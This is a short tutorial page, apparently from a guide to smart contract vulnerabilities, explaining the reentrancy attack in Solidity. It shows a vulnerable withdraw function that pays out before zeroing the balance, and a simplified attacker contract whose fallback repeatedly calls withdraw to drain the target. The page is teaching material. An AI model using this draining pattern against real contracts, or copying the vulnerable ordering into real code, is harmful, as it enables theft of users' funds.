Ataque de reentrância (Reentrancy attack)
//Mala práctica
function withdraw() public {
uint amount = balances[msg.sender];
msg.sender.transfer(amount);
balances[msg.sender] = 0;
}//Código usado por un atacante
address attackedAddress = 0x1234;
function attack() public onlyOwner {
attackedAddress.withdraw();
}
function() external payable {
while(attackedAddress.balance > 0) {
attackedAddress.withdraw();
}
}PreviousPrincipais vulnerabilidades em contratos inteligentesNextAtaque de repetição (Replay attack)
Last updated